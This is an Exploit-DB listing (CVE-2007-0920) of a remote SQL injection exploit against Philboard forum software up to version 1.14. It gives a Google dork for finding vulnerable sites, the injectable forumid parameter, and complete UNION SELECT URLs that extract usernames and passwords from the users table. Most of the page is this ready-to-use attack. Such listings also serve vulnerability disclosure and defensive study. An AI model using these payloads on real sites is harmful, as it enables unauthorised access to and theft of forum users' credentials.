Philboard <= 1.14 (philboard_forum.asp) SQL Injection Vulnerability



EDB-ID: 3295 CVE: 2007-0920OSVDB-ID: 35678
Author: xoronPublished: 2007-02-12Verified: Verified
Exploit Code:   DownloadVulnerable App:   N/A

Rating

(0.0)
Prev Home Next
----------------------------------------------------
Philboard (id) Remote SQL Injection
----------------------------------------------------
Bulan: xoron
xoron.info - xoron.biz
Google Dork : "Powered by Philboard" , "inurl:philboard_forum.asp"
----------------------------------------------------
Exploit: philboard_forum.asp?forumid=[SQL]
----------------------------------------------------
Example:
Username
philboard_forum.asp?forumid=-1+union+select+0,username,2,3,4,5,6,7,8,7,8,9,10,11,12,13,14,15,16,17,18+from+users
Password
philboard_forum.asp?forumid=-1+union+select+0,password,2,3,4,5,6,7,8,7,8,9,10,11,12,13,14,15,16,17,18+from+users
----------------------------------------------------
Forum: username + password
----------------------------------------------------
Download: open http://www.aspindir.com/indir.asp?id=3538 and click "Ýndirmek için týklayýn" .
----------------------------------------------------
# milw0rm.com [2007-02-12]






Comments

No comments so far